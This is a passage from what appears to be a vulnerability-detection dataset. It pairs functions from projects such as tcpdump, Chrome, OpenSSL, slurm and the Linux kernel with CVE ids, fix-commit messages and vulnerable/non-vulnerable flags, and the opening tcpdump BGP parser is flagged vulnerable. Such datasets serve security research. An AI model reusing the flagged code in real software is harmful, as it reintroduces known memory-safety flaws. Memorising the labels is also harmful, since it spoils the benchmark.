EXTRACT_24BITS(tptr+2)>>4));
tptr +=5;
tlen -= 5;
switch (tunnel_type) {
case BGP_PMSI_TUNNEL_PIM_SM: /* fall through */
case BGP_PMSI_TUNNEL_PIM_BIDIR:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Sender %s, P-Group %s",
ipaddr_string(ndo, tptr),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_PMSI_TUNNEL_PIM_SSM:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Root-Node %s, P-Group %s",
ipaddr_string(ndo, tptr),
ipaddr_string(ndo, tptr+4)));
break;
case BGP_PMSI_TUNNEL_INGRESS:
ND_TCHECK2(tptr[0], 4);
ND_PRINT((ndo, "\n\t Tunnel-Endpoint %s",
ipaddr_string(ndo, tptr)));
break;
case BGP_PMSI_TUNNEL_LDP_P2MP: /* fall through */
case BGP_PMSI_TUNNEL_LDP_MP2MP:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Root-Node %s, LSP-ID 0x%08x",
ipaddr_string(ndo, tptr),
EXTRACT_32BITS(tptr+4)));
break;
case BGP_PMSI_TUNNEL_RSVP_P2MP:
ND_TCHECK2(tptr[0], 8);
ND_PRINT((ndo, "\n\t Extended-Tunnel-ID %s, P2MP-ID 0x%08x",
ipaddr_string(ndo, tptr),
EXTRACT_32BITS(tptr+4)));
break;
default:
if (ndo->ndo_vflag <= 1) {
print_unknown_data(ndo, tptr, "\n\t ", tlen);
}
}
break;
}
case BGPTYPE_AIGP:
{
uint8_t type;
uint16_t length;
tlen = len;
while (tlen >= 3) {
ND_TCHECK2(tptr[0], 3);
type = *tptr;
length = EXTRACT_16BITS(tptr+1);
tptr += 3;
tlen -= 3;
ND_PRINT((ndo, "\n\t %s TLV (%u), length %u",
tok2str(bgp_aigp_values, "Unknown", type),
type, length));
if (length < 3)
goto trunc;
length -= 3;
/*
* Check if we can read the TLV data.
*/
ND_TCHECK2(tptr[3], length);
switch (type) {
case BGP_AIGP_TLV:
if (length < 8)
goto trunc;
ND_PRINT((ndo, ", metric %" PRIu64,
EXTRACT_64BITS(tptr)));
break;
default:
if (ndo->ndo_vflag <= 1) {
print_unknown_data(ndo, tptr,"\n\t ", length);
}
}
tptr += length;
tlen -= length;
}
break;
}
case BGPTYPE_ATTR_SET:
ND_TCHECK2(tptr[0], 4);
if (len < 4)
goto trunc;
ND_PRINT((ndo, "\n\t Origin AS: %s",
as_printf(ndo, astostr, sizeof(astostr), EXTRACT_32BITS(tptr))));
tptr+=4;
len -=4;
while (len) {
u_int aflags, alenlen, alen;
ND_TCHECK2(tptr[0], 2);
if (len < 2)
goto trunc;
aflags = *tptr;
atype = *(tptr + 1);
tptr += 2;
len -= 2;
alenlen = bgp_attr_lenlen(aflags, tptr);
ND_TCHECK2(tptr[0], alenlen);
if (len < alenlen)
goto trunc;
alen = bgp_attr_len(aflags, tptr);
tptr += alenlen;
len -= alenlen;
ND_PRINT((ndo, "\n\t %s (%u), length: %u",
tok2str(bgp_attr_values,
"Unknown Attribute", atype),
atype,
alen));
if (aflags) {
ND_PRINT((ndo, ", Flags [%s%s%s%s",
aflags & 0x80 ? "O" : "",
aflags & 0x40 ? "T" : "",
aflags & 0x20 ? "P" : "",
aflags & 0x10 ? "E" : ""));
if (aflags & 0xf)
ND_PRINT((ndo, "+%x", aflags & 0xf));
ND_PRINT((ndo, "]: "));
}
/* FIXME check for recursion */
if (!bgp_attr_print(ndo, atype, tptr, alen))
return 0;
tptr += alen;
len -= alen;
}
break;
case BGPTYPE_LARGE_COMMUNITY:
if (len == 0 || len % 12) {
ND_PRINT((ndo, "invalid len"));
break;
}
ND_PRINT((ndo, "\n\t "));
while (len > 0) {
ND_TCHECK2(*tptr, 12);
ND_PRINT((ndo, "%u:%u:%u%s",
EXTRACT_32BITS(tptr),
EXTRACT_32BITS(tptr + 4),
EXTRACT_32BITS(tptr + 8),
(len > 12) ? ", " : ""));
tptr += 12;
len -= 12;
}
break;
default:
ND_TCHECK2(*pptr,len);
ND_PRINT((ndo, "\n\t no Attribute %u decoder", atype)); /* we have no decoder for the attribute */
if (ndo->ndo_vflag <= 1)
print_unknown_data(ndo, pptr, "\n\t ", len);
break;
}
if (ndo->ndo_vflag > 1 && len) { /* omit zero length attributes*/
ND_TCHECK2(*pptr,len);
print_unknown_data(ndo, pptr, "\n\t ", len);
}
return 1;
trunc:
return 0;
}
| C | tcpdump | 1 |
CVE-2015-6784 | https://www.cvedetails.com/cve/CVE-2015-6784/ | CWE-20 | https://github.com/chromium/chromium/commit/a81593e7f162428585832ac8f6e71f75592b53e7 | a81593e7f162428585832ac8f6e71f75592b53e7 | Escape "--" in the page URL at page serialization
This patch makes page serializer to escape the page URL embed into a HTML
comment of result HTML[1] to avoid inserting text as HTML from URL by
introducing a static member function |PageSerialzier::markOfTheWebDeclaration()|
for sharing it between |PageSerialzier| and |WebPageSerialzier| classes.
[1] We use following format for serialized HTML:
saved from url=(${lengthOfURL})${URL}
BUG=503217
TEST=webkit_unit_tests --gtest_filter=PageSerializerTest.markOfTheWebDeclaration
TEST=webkit_unit_tests --gtest_filter=WebPageSerializerTest.fromUrlWithMinusMinu
Review URL: https://codereview.chromium.org/1371323003
Cr-Commit-Position: refs/heads/master@{#351736} | static PassRefPtr<SharedBuffer> serializePageToMHTML(Page* page, MHTMLArchive::EncodingPolicy encodingPolicy)
{
Vector<SerializedResource> resources;
PageSerializer serializer(&resources, adoptPtr(new MHTMLPageSerializerDelegate));
serializer.serialize(page);
Document* document = page->deprecatedLocalMainFrame()->document();
return MHTMLArchive::generateMHTMLData(resources, encodingPolicy, document->title(), document->suggestedMIMEType());
}
| static PassRefPtr<SharedBuffer> serializePageToMHTML(Page* page, MHTMLArchive::EncodingPolicy encodingPolicy)
{
Vector<SerializedResource> resources;
PageSerializer serializer(&resources, adoptPtr(new MHTMLPageSerializerDelegate));
serializer.serialize(page);
Document* document = page->deprecatedLocalMainFrame()->document();
return MHTMLArchive::generateMHTMLData(resources, encodingPolicy, document->title(), document->suggestedMIMEType());
}
| C | Chrome | 0 |
CVE-2016-5216 | https://www.cvedetails.com/cve/CVE-2016-5216/ | CWE-416 | https://github.com/chromium/chromium/commit/bf6a6765d44b09c64b8c75d749efb84742a250e7 | bf6a6765d44b09c64b8c75d749efb84742a250e7 | [pdf] Defer page unloading in JS callback.
One of the callbacks from PDFium JavaScript into the embedder is to get the
current page number. In Chromium, this will trigger a call to
CalculateMostVisiblePage that method will determine the visible pages and unload
any non-visible pages. But, if the originating JS is on a non-visible page
we'll delete the page and annotations associated with that page. This will
cause issues as we are currently working with those objects when the JavaScript
returns.
This Cl defers the page unloading triggered by getting the most visible page
until the next event is handled by the Chromium embedder.
BUG=chromium:653090
Review-Url: https://codereview.chromium.org/2418533002
Cr-Commit-Position: refs/heads/master@{#424781} | bool PDFiumEngine::New(const char* url,
const char* headers) {
url_ = url;
if (headers)
headers_ = headers;
else
headers_.clear();
return true;
}
| bool PDFiumEngine::New(const char* url,
const char* headers) {
url_ = url;
if (headers)
headers_ = headers;
else
headers_.clear();
return true;
}
| C | Chrome | 0 |
CVE-2016-6295 | https://www.cvedetails.com/cve/CVE-2016-6295/ | CWE-416 | https://git.php.net/?p=php-src.git;a=commit;h=cab1c3b3708eead315e033359d07049b23b147a3 | cab1c3b3708eead315e033359d07049b23b147a3 | null | static int netsnmp_session_set_sec_protocol(struct snmp_session *s, char *prot TSRMLS_DC)
{
if (!strcasecmp(prot, "DES")) {
s->securityPrivProto = usmDESPrivProtocol;
s->securityPrivProtoLen = USM_PRIV_PROTO_DES_LEN;
#ifdef HAVE_AES
} else if (!strcasecmp(prot, "AES128") || !strcasecmp(prot, "AES")) {
s->securityPrivProto = usmAESPrivProtocol;
s->securityPrivProtoLen = USM_PRIV_PROTO_AES_LEN;
#endif
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown security protocol '%s'", prot);
return (-1);
}
return (0);
}
| static int netsnmp_session_set_sec_protocol(struct snmp_session *s, char *prot TSRMLS_DC)
{
if (!strcasecmp(prot, "DES")) {
s->securityPrivProto = usmDESPrivProtocol;
s->securityPrivProtoLen = USM_PRIV_PROTO_DES_LEN;
#ifdef HAVE_AES
} else if (!strcasecmp(prot, "AES128") || !strcasecmp(prot, "AES")) {
s->securityPrivProto = usmAESPrivProtocol;
s->securityPrivProtoLen = USM_PRIV_PROTO_AES_LEN;
#endif
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unknown security protocol '%s'", prot);
return (-1);
}
return (0);
}
| C | php | 0 |
CVE-2016-10030 | https://www.cvedetails.com/cve/CVE-2016-10030/ | CWE-284 | https://github.com/SchedMD/slurm/commit/92362a92fffe60187df61f99ab11c249d44120ee | 92362a92fffe60187df61f99ab11c249d44120ee | Fix security issue in _prolog_error().
Fix security issue caused by insecure file path handling triggered by
the failure of a Prolog script. To exploit this a user needs to
anticipate or cause the Prolog to fail for their job.
(This commit is slightly different from the fix to the 15.08 branch.)
CVE-2016-10030. | static void _launch_complete_rm(uint32_t job_id)
{
int j;
slurm_mutex_lock(&job_state_mutex);
for (j = 0; j < JOB_STATE_CNT; j++) {
if (job_id == active_job_id[j])
break;
}
if (j < JOB_STATE_CNT && job_id == active_job_id[j]) {
for (j = j + 1; j < JOB_STATE_CNT; j++) {
active_job_id[j - 1] = active_job_id[j];
}
active_job_id[JOB_STATE_CNT - 1] = 0;
}
slurm_mutex_unlock(&job_state_mutex);
_launch_complete_log("job remove", job_id);
}
| static void _launch_complete_rm(uint32_t job_id)
{
int j;
slurm_mutex_lock(&job_state_mutex);
for (j = 0; j < JOB_STATE_CNT; j++) {
if (job_id == active_job_id[j])
break;
}
if (j < JOB_STATE_CNT && job_id == active_job_id[j]) {
for (j = j + 1; j < JOB_STATE_CNT; j++) {
active_job_id[j - 1] = active_job_id[j];
}
active_job_id[JOB_STATE_CNT - 1] = 0;
}
slurm_mutex_unlock(&job_state_mutex);
_launch_complete_log("job remove", job_id);
}
| C | slurm | 0 |
CVE-2017-13083 | https://www.cvedetails.com/cve/CVE-2017-13083/ | CWE-494 | https://github.com/pbatard/rufus/commit/c3c39f7f8a11f612c4ebf7affce25ec6928eb1cb | c3c39f7f8a11f612c4ebf7affce25ec6928eb1cb | [pki] fix https://www.kb.cert.org/vuls/id/403768
* This commit effectively fixes https://www.kb.cert.org/vuls/id/403768 (CVE-2017-13083) as
it is described per its revision 11, which is the latest revision at the time of this commit,
by disabling Windows prompts, enacted during signature validation, that allow the user to
bypass the intended signature verification checks.
* It needs to be pointed out that the vulnerability ("allow(ing) the use of a self-signed
certificate"), which relies on the end-user actively ignoring a Windows prompt that tells
them that the update failed the signature validation whilst also advising against running it,
is being fully addressed, even as the update protocol remains HTTP.
* It also need to be pointed out that the extended delay (48 hours) between the time the
vulnerability was reported and the moment it is fixed in our codebase has to do with
the fact that the reporter chose to deviate from standard security practices by not
disclosing the details of the vulnerability with us, be it publicly or privately,
before creating the cert.org report. The only advance notification we received was a
generic note about the use of HTTP vs HTTPS, which, as have established, is not
immediately relevant to addressing the reported vulnerability.
* Closes #1009
* Note: The other vulnerability scenario described towards the end of #1009, which
doesn't have to do with the "lack of CA checking", will be addressed separately. | void DownloadNewVersion(void)
{
MyDialogBox(hMainInstance, IDD_NEW_VERSION, hMainDialog, NewVersionCallback);
}
| void DownloadNewVersion(void)
{
MyDialogBox(hMainInstance, IDD_NEW_VERSION, hMainDialog, NewVersionCallback);
}
| C | rufus | 0 |
CVE-2016-3698 | https://www.cvedetails.com/cve/CVE-2016-3698/ | CWE-284 | https://github.com/jpirko/libndp/commit/2af9a55b38b55abbf05fd116ec097d4029115839 | 2af9a55b38b55abbf05fd116ec097d4029115839 | libndb: reject redirect and router advertisements from non-link-local
RFC4861 suggests that these messages should only originate from
link-local addresses in 6.1.2 (RA) and 8.1. (redirect):
Mitigates CVE-2016-3698.
Signed-off-by: Lubomir Rintel <lkundrak@v3.sk>
Signed-off-by: Jiri Pirko <jiri@mellanox.com> | static int ndp_sock_open(struct ndp *ndp)
{
int sock;
int ret;
int err;
int val;
sock = socket(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
if (sock == -1) {
err(ndp, "Failed to create ICMP6 socket.");
return -errno;
}
val = 1;
ret = setsockopt(sock, IPPROTO_IPV6, IPV6_RECVPKTINFO,
&val, sizeof(val));
if (ret == -1) {
err(ndp, "Failed to setsockopt IPV6_RECVPKTINFO.");
err = -errno;
goto close_sock;
}
val = 255;
ret = setsockopt(sock, IPPROTO_IPV6, IPV6_MULTICAST_HOPS,
&val, sizeof(val));
if (ret == -1) {
err(ndp, "Failed to setsockopt IPV6_MULTICAST_HOPS.");
err = -errno;
goto close_sock;
}
val = 1;
ret = setsockopt(sock, IPPROTO_IPV6, IPV6_RECVHOPLIMIT,
&val, sizeof(val));
if (ret == -1) {
err(ndp, "Failed to setsockopt IPV6_RECVHOPLIMIT,.");
err = -errno;
goto close_sock;
}
ndp->sock = sock;
return 0;
close_sock:
close(sock);
return err;
}
| static int ndp_sock_open(struct ndp *ndp)
{
int sock;
int ret;
int err;
int val;
sock = socket(PF_INET6, SOCK_RAW, IPPROTO_ICMPV6);
if (sock == -1) {
err(ndp, "Failed to create ICMP6 socket.");
return -errno;
}
val = 1;
ret = setsockopt(sock, IPPROTO_IPV6, IPV6_RECVPKTINFO,
&val, sizeof(val));
if (ret == -1) {
err(ndp, "Failed to setsockopt IPV6_RECVPKTINFO.");
err = -errno;
goto close_sock;
}
val = 255;
ret = setsockopt(sock, IPPROTO_IPV6, IPV6_MULTICAST_HOPS,
&val, sizeof(val));
if (ret == -1) {
err(ndp, "Failed to setsockopt IPV6_MULTICAST_HOPS.");
err = -errno;
goto close_sock;
}
val = 1;
ret = setsockopt(sock, IPPROTO_IPV6, IPV6_RECVHOPLIMIT,
&val, sizeof(val));
if (ret == -1) {
err(ndp, "Failed to setsockopt IPV6_RECVHOPLIMIT,.");
err = -errno;
goto close_sock;
}
ndp->sock = sock;
return 0;
close_sock:
close(sock);
return err;
}
| C | libndp | 0 |
null | null | null | https://github.com/chromium/chromium/commit/ea3d1d84be3d6f97bf50e76511c9e26af6895533 | ea3d1d84be3d6f97bf50e76511c9e26af6895533 | Fix passing pointers between processes.
BUG=31880
Review URL: http://codereview.chromium.org/558036
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@37555 0039d316-1c4b-4281-b951-d872f2087c98 | void WebPluginImpl::SetContainer(WebPluginContainer* container) {
if (!container)
TearDownPluginInstance(NULL);
container_ = container;
}
| void WebPluginImpl::SetContainer(WebPluginContainer* container) {
if (!container)
TearDownPluginInstance(NULL);
container_ = container;
}
| C | Chrome | 0 |
null | null | null | https://github.com/chromium/chromium/commit/6a13a6c2fbae0b3269743e6a141fdfe0d9ec9793 | 6a13a6c2fbae0b3269743e6a141fdfe0d9ec9793 | Don't delete the current NavigationEntry when leaving an interstitial page.
BUG=107182
TEST=See bug
Review URL: http://codereview.chromium.org/8976014
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@115189 0039d316-1c4b-4281-b951-d872f2087c98 | virtual SafeBrowsingBlockingPage* CreateSafeBrowsingPage(
SafeBrowsingService* service,
TabContents* tab_contents,
const SafeBrowsingBlockingPage::UnsafeResourceList& unsafe_resources) {
return new TestSafeBrowsingBlockingPage(service, tab_contents,
unsafe_resources);
}
| virtual SafeBrowsingBlockingPage* CreateSafeBrowsingPage(
SafeBrowsingService* service,
TabContents* tab_contents,
const SafeBrowsingBlockingPage::UnsafeResourceList& unsafe_resources) {
return new TestSafeBrowsingBlockingPage(service, tab_contents,
unsafe_resources);
}
| C | Chrome | 0 |
CVE-2016-3751 | https://www.cvedetails.com/cve/CVE-2016-3751/ | null | https://android.googlesource.com/platform/external/libpng/+/9d4853418ab2f754c2b63e091c29c5529b8b86ca | 9d4853418ab2f754c2b63e091c29c5529b8b86ca | DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
| png_uint_32 get_data (FILE *pnm_file, int depth)
{
static int bits_left = 0;
static int old_value = 0;
static int mask = 0;
int i;
png_uint_32 ret_value;
if (mask == 0)
for (i = 0; i < depth; i++)
mask = (mask >> 1) | 0x80;
if (bits_left <= 0)
{
old_value = fgetc (pnm_file);
bits_left = 8;
}
ret_value = old_value & mask;
for (i = 1; i < (8 / depth); i++)
ret_value = ret_value || (ret_value >> depth);
old_value = (old_value << depth) & 0xFF;
bits_left -= depth;
return ret_value;
}
| png_uint_32 get_data (FILE *pnm_file, int depth)
{
static int bits_left = 0;
static int old_value = 0;
static int mask = 0;
int i;
png_uint_32 ret_value;
if (mask == 0)
for (i = 0; i < depth; i++)
mask = (mask >> 1) | 0x80;
if (bits_left <= 0)
{
old_value = fgetc (pnm_file);
bits_left = 8;
}
ret_value = old_value & mask;
for (i = 1; i < (8 / depth); i++)
ret_value = ret_value || (ret_value >> depth);
old_value = (old_value << depth) & 0xFF;
bits_left -= depth;
return ret_value;
}
| C | Android | 0 |
CVE-2012-2867 | https://www.cvedetails.com/cve/CVE-2012-2867/ | null | https://github.com/chromium/chromium/commit/b7a161633fd7ecb59093c2c56ed908416292d778 | b7a161633fd7ecb59093c2c56ed908416292d778 | [GTK][WTR] Implement AccessibilityUIElement::stringValue
https://bugs.webkit.org/show_bug.cgi?id=102951
Reviewed by Martin Robinson.
Implement AccessibilityUIElement::stringValue in the ATK backend
in the same manner it is implemented in DumpRenderTree.
* WebKitTestRunner/InjectedBundle/atk/AccessibilityUIElementAtk.cpp:
(WTR::replaceCharactersForResults):
(WTR):
(WTR::AccessibilityUIElement::stringValue):
git-svn-id: svn://svn.chromium.org/blink/trunk@135485 bbb929c8-8fbe-4397-9dbb-9b2b20218538 | int AccessibilityUIElement::indexForTextMarker(AccessibilityTextMarker* marker)
{
return -1;
}
| int AccessibilityUIElement::indexForTextMarker(AccessibilityTextMarker* marker)
{
return -1;
}
| C | Chrome | 0 |
CVE-2014-3191 | https://www.cvedetails.com/cve/CVE-2014-3191/ | CWE-416 | https://github.com/chromium/chromium/commit/11a4cc4a6d6e665d9a118fada4b7c658d6f70d95 | 11a4cc4a6d6e665d9a118fada4b7c658d6f70d95 | Defer call to updateWidgetPositions() outside of RenderLayerScrollableArea.
updateWidgetPositions() can destroy the render tree, so it should never
be called from inside RenderLayerScrollableArea. Leaving it there allows
for the potential of use-after-free bugs.
BUG=402407
R=vollick@chromium.org
Review URL: https://codereview.chromium.org/490473003
git-svn-id: svn://svn.chromium.org/blink/trunk@180681 bbb929c8-8fbe-4397-9dbb-9b2b20218538 | static bool canHaveOverflowScrollbars(const RenderBox& box)
{
return !box.isRenderView() && box.document().viewportDefiningElement() != box.node();
}
| static bool canHaveOverflowScrollbars(const RenderBox& box)
{
return !box.isRenderView() && box.document().viewportDefiningElement() != box.node();
}
| C | Chrome | 0 |
CVE-2012-2880 | https://www.cvedetails.com/cve/CVE-2012-2880/ | CWE-362 | https://github.com/chromium/chromium/commit/fcd3a7a671ecf2d5f46ea34787d27507a914d2f5 | fcd3a7a671ecf2d5f46ea34787d27507a914d2f5 | [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98 | void SyncManager::SyncInternal::OnNotificationStateChange(
bool notifications_enabled) {
DVLOG(1) << "P2P: Notifications enabled = "
<< (notifications_enabled ? "true" : "false");
allstatus_.SetNotificationsEnabled(notifications_enabled);
if (scheduler()) {
scheduler()->set_notifications_enabled(notifications_enabled);
}
if (js_event_handler_.IsInitialized()) {
DictionaryValue details;
details.Set("enabled", Value::CreateBooleanValue(notifications_enabled));
js_event_handler_.Call(FROM_HERE,
&JsEventHandler::HandleJsEvent,
"onNotificationStateChange",
JsEventDetails(&details));
}
}
| void SyncManager::SyncInternal::OnNotificationStateChange(
bool notifications_enabled) {
DVLOG(1) << "P2P: Notifications enabled = "
<< (notifications_enabled ? "true" : "false");
allstatus_.SetNotificationsEnabled(notifications_enabled);
if (scheduler()) {
scheduler()->set_notifications_enabled(notifications_enabled);
}
if (js_event_handler_.IsInitialized()) {
DictionaryValue details;
details.Set("enabled", Value::CreateBooleanValue(notifications_enabled));
js_event_handler_.Call(FROM_HERE,
&JsEventHandler::HandleJsEvent,
"onNotificationStateChange",
JsEventDetails(&details));
}
}
| C | Chrome | 0 |
CVE-2013-7021 | https://www.cvedetails.com/cve/CVE-2013-7021/ | CWE-399 | https://github.com/FFmpeg/FFmpeg/commit/cdd5df8189ff1537f7abe8defe971f80602cc2d2 | cdd5df8189ff1537f7abe8defe971f80602cc2d2 | avfilter/vf_fps: make sure the fifo is not empty before using it
Fixes Ticket2905
Signed-off-by: Michael Niedermayer <michaelni@gmx.at> | static av_cold int init(AVFilterContext *ctx)
{
FPSContext *s = ctx->priv;
if (!(s->fifo = av_fifo_alloc(2*sizeof(AVFrame*))))
return AVERROR(ENOMEM);
s->pts = AV_NOPTS_VALUE;
s->first_pts = AV_NOPTS_VALUE;
av_log(ctx, AV_LOG_VERBOSE, "fps=%d/%d\n", s->framerate.num, s->framerate.den);
return 0;
}
| static av_cold int init(AVFilterContext *ctx)
{
FPSContext *s = ctx->priv;
if (!(s->fifo = av_fifo_alloc(2*sizeof(AVFrame*))))
return AVERROR(ENOMEM);
s->pts = AV_NOPTS_VALUE;
s->first_pts = AV_NOPTS_VALUE;
av_log(ctx, AV_LOG_VERBOSE, "fps=%d/%d\n", s->framerate.num, s->framerate.den);
return 0;
}
| C | FFmpeg | 0 |
CVE-2014-0076 | https://www.cvedetails.com/cve/CVE-2014-0076/ | CWE-310 | https://git.openssl.org/gitweb/?p=openssl.git;a=commit;h=2198be3483259de374f91e57d247d0fc667aef29 | 2198be3483259de374f91e57d247d0fc667aef29 | null | void BN_set_params(int mult, int high, int low, int mont)
{
if (mult >= 0)
{
if (mult > (int)(sizeof(int)*8)-1)
mult=sizeof(int)*8-1;
bn_limit_bits=mult;
bn_limit_num=1<<mult;
}
if (high >= 0)
{
if (high > (int)(sizeof(int)*8)-1)
high=sizeof(int)*8-1;
bn_limit_bits_high=high;
bn_limit_num_high=1<<high;
}
if (low >= 0)
{
if (low > (int)(sizeof(int)*8)-1)
low=sizeof(int)*8-1;
bn_limit_bits_low=low;
bn_limit_num_low=1<<low;
}
if (mont >= 0)
{
if (mont > (int)(sizeof(int)*8)-1)
mont=sizeof(int)*8-1;
bn_limit_bits_mont=mont;
bn_limit_num_mont=1<<mont;
}
}
| void BN_set_params(int mult, int high, int low, int mont)
{
if (mult >= 0)
{
if (mult > (int)(sizeof(int)*8)-1)
mult=sizeof(int)*8-1;
bn_limit_bits=mult;
bn_limit_num=1<<mult;
}
if (high >= 0)
{
if (high > (int)(sizeof(int)*8)-1)
high=sizeof(int)*8-1;
bn_limit_bits_high=high;
bn_limit_num_high=1<<high;
}
if (low >= 0)
{
if (low > (int)(sizeof(int)*8)-1)
low=sizeof(int)*8-1;
bn_limit_bits_low=low;
bn_limit_num_low=1<<low;
}
if (mont >= 0)
{
if (mont > (int)(sizeof(int)*8)-1)
mont=sizeof(int)*8-1;
bn_limit_bits_mont=mont;
bn_limit_num_mont=1<<mont;
}
}
| C | openssl | 0 |
CVE-2017-5075 | https://www.cvedetails.com/cve/CVE-2017-5075/ | CWE-200 | https://github.com/chromium/chromium/commit/fea16c8b60ff3d0756d5eb392394963b647bc41a | fea16c8b60ff3d0756d5eb392394963b647bc41a | CSP: Strip the fragment from reported URLs.
We should have been stripping the fragment from the URL we report for
CSP violations, but we weren't. Now we are, by running the URLs through
`stripURLForUseInReport()`, which implements the stripping algorithm
from CSP2: https://www.w3.org/TR/CSP2/#strip-uri-for-reporting
Eventually, we will migrate more completely to the CSP3 world that
doesn't require such detailed stripping, as it exposes less data to the
reports, but we're not there yet.
BUG=678776
Review-Url: https://codereview.chromium.org/2619783002
Cr-Commit-Position: refs/heads/master@{#458045} | bool ContentSecurityPolicy::allowFontFromSource(
const KURL& url,
RedirectStatus redirectStatus,
SecurityViolationReportingPolicy reportingPolicy) const {
return isAllowedByAll<&CSPDirectiveList::allowFontFromSource>(
m_policies, url, redirectStatus, reportingPolicy);
}
| bool ContentSecurityPolicy::allowFontFromSource(
const KURL& url,
RedirectStatus redirectStatus,
SecurityViolationReportingPolicy reportingPolicy) const {
return isAllowedByAll<&CSPDirectiveList::allowFontFromSource>(
m_policies, url, redirectStatus, reportingPolicy);
}
| C | Chrome | 0 |
CVE-2015-2925 | https://www.cvedetails.com/cve/CVE-2015-2925/ | CWE-254 | https://github.com/torvalds/linux/commit/cde93be45a8a90d8c264c776fab63487b5038a65 | cde93be45a8a90d8c264c776fab63487b5038a65 | dcache: Handle escaped paths in prepend_path
A rename can result in a dentry that by walking up d_parent
will never reach it's mnt_root. For lack of a better term
I call this an escaped path.
prepend_path is called by four different functions __d_path,
d_absolute_path, d_path, and getcwd.
__d_path only wants to see paths are connected to the root it passes
in. So __d_path needs prepend_path to return an error.
d_absolute_path similarly wants to see paths that are connected to
some root. Escaped paths are not connected to any mnt_root so
d_absolute_path needs prepend_path to return an error greater
than 1. So escaped paths will be treated like paths on lazily
unmounted mounts.
getcwd needs to prepend "(unreachable)" so getcwd also needs
prepend_path to return an error.
d_path is the interesting hold out. d_path just wants to print
something, and does not care about the weird cases. Which raises
the question what should be printed?
Given that <escaped_path>/<anything> should result in -ENOENT I
believe it is desirable for escaped paths to be printed as empty
paths. As there are not really any meaninful path components when
considered from the perspective of a mount tree.
So tweak prepend_path to return an empty path with an new error
code of 3 when it encounters an escaped path.
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
Signed-off-by: Al Viro <viro@zeniv.linux.org.uk> | void d_set_d_op(struct dentry *dentry, const struct dentry_operations *op)
{
WARN_ON_ONCE(dentry->d_op);
WARN_ON_ONCE(dentry->d_flags & (DCACHE_OP_HASH |
DCACHE_OP_COMPARE |
DCACHE_OP_REVALIDATE |
DCACHE_OP_WEAK_REVALIDATE |
DCACHE_OP_DELETE |
DCACHE_OP_SELECT_INODE));
dentry->d_op = op;
if (!op)
return;
if (op->d_hash)
dentry->d_flags |= DCACHE_OP_HASH;
if (op->d_compare)
dentry->d_flags |= DCACHE_OP_COMPARE;
if (op->d_revalidate)
dentry->d_flags |= DCACHE_OP_REVALIDATE;
if (op->d_weak_revalidate)
dentry->d_flags |= DCACHE_OP_WEAK_REVALIDATE;
if (op->d_delete)
dentry->d_flags |= DCACHE_OP_DELETE;
if (op->d_prune)
dentry->d_flags |= DCACHE_OP_PRUNE;
if (op->d_select_inode)
dentry->d_flags |= DCACHE_OP_SELECT_INODE;
}
| void d_set_d_op(struct dentry *dentry, const struct dentry_operations *op)
{
WARN_ON_ONCE(dentry->d_op);
WARN_ON_ONCE(dentry->d_flags & (DCACHE_OP_HASH |
DCACHE_OP_COMPARE |
DCACHE_OP_REVALIDATE |
DCACHE_OP_WEAK_REVALIDATE |
DCACHE_OP_DELETE |
DCACHE_OP_SELECT_INODE));
dentry->d_op = op;
if (!op)
return;
if (op->d_hash)
dentry->d_flags |= DCACHE_OP_HASH;
if (op->d_compare)
dentry->d_flags |= DCACHE_OP_COMPARE;
if (op->d_revalidate)
dentry->d_flags |= DCACHE_OP_REVALIDATE;
if (op->d_weak_revalidate)
dentry->d_flags |= DCACHE_OP_WEAK_REVALIDATE;
if (op->d_delete)
dentry->d_flags |= DCACHE_OP_DELETE;
if (op->d_prune)
dentry->d_flags |= DCACHE_OP_PRUNE;
if (op->d_select_inode)
dentry->d_flags |= DCACHE_OP_SELECT_INODE;
}
| C | linux | 0 |
CVE-2016-5337 | https://www.cvedetails.com/cve/CVE-2016-5337/ | CWE-200 | https://git.qemu.org/?p=qemu.git;a=commit;h=844864fbae66935951529408831c2f22367a57b6 | 844864fbae66935951529408831c2f22367a57b6 | null | static void megasas_scsi_uninit(PCIDevice *d)
{
MegasasState *s = MEGASAS(d);
if (megasas_use_msix(s)) {
msix_uninit(d, &s->mmio_io, &s->mmio_io);
}
if (megasas_use_msi(s)) {
msi_uninit(d);
}
}
| static void megasas_scsi_uninit(PCIDevice *d)
{
MegasasState *s = MEGASAS(d);
if (megasas_use_msix(s)) {
msix_uninit(d, &s->mmio_io, &s->mmio_io);
}
if (megasas_use_msi(s)) {
msi_uninit(d);
}
}
| C | qemu | 0 |
CVE-2019-11810 | https://www.cvedetails.com/cve/CVE-2019-11810/ | CWE-476 | https://github.com/torvalds/linux/commit/bcf3b67d16a4c8ffae0aa79de5853435e683945c | bcf3b67d16a4c8ffae0aa79de5853435e683945c | scsi: megaraid_sas: return error when create DMA pool failed
when create DMA pool for cmd frames failed, we should return -ENOMEM,
instead of 0.
In some case in:
megasas_init_adapter_fusion()
-->megasas_alloc_cmds()
-->megasas_create_frame_pool
create DMA pool failed,
--> megasas_free_cmds() [1]
-->megasas_alloc_cmds_fusion()
failed, then goto fail_alloc_cmds.
-->megasas_free_cmds() [2]
we will call megasas_free_cmds twice, [1] will kfree cmd_list,
[2] will use cmd_list.it will cause a problem:
Unable to handle kernel NULL pointer dereference at virtual address
00000000
pgd = ffffffc000f70000
[00000000] *pgd=0000001fbf893003, *pud=0000001fbf893003,
*pmd=0000001fbf894003, *pte=006000006d000707
Internal error: Oops: 96000005 [#1] SMP
Modules linked in:
CPU: 18 PID: 1 Comm: swapper/0 Not tainted
task: ffffffdfb9290000 ti: ffffffdfb923c000 task.ti: ffffffdfb923c000
